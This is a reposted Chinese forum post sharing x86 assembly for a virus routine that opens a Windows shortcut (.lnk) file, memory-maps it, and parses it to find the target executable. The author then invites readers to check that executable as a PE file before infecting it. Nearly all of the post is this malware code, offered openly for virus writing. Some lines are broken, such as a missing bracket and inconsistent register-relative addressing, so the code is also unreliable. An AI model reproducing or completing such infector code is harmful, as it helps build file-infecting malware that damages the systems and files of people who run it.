发新话题
打印

[转载]一段感染快捷方式的简短代码

[转载]一段感染快捷方式的简短代码

文章作者:我也想知道

我在网上看到很少有关于快捷方式的代码
   在莫国防上看到一段
   但觉得太长很多的判断不知是为什么

   我就自己写了一段代码

   push    0
   push    80h
   push    3
   push    0
   push    1
   push    80000000h
   lea    eax,filename[ebx]
   push    eax
   call    _CreateFile[ebx
   cmp    eax,INVALID_HANDLE_VALUE
   jz    infect_lnk_exit
   mov    hFile,eax
   
   
   push    0
   push    0
   push    0
   push    2
   push    0
   push    hFile[ebx]
   call    _CreateFileMapping[ebx]
   or    eax,eax
   jz    @1
   mov    hMapping[ebx],eax
   
   push    0
   push    0
   push    0
   push    4
   push    hMapping[ebx]
   call    MapViewOfFile
   or    eax,eax
   jz    @2
   mov    _pMapping[ebx],eax
   
   
   mov    esi,pMapping
   add    esi,4ch
   movzx    ecx,word ptr [esi]
   add    esi,2
   add    esi,ecx
   
   mov    ecx,[esi+10h]
      
   add    esi,ecx
到这里esi就指向快捷方式所指向文件名的地址
后面大家就可以向平常判段PE文件的方法来确定要不要感染这个文件

以上都是我个人的见解应为我是个菜鸟有不对的地方请高手指出
人情如冰六月寒,花做一份艳,为谁笑人间? 如果任何人发现我转载的有图像的文章中图像失效或者文章有问题,请及时短消息通知我。先谢谢。::)) coup de foudre

TOP

发新话题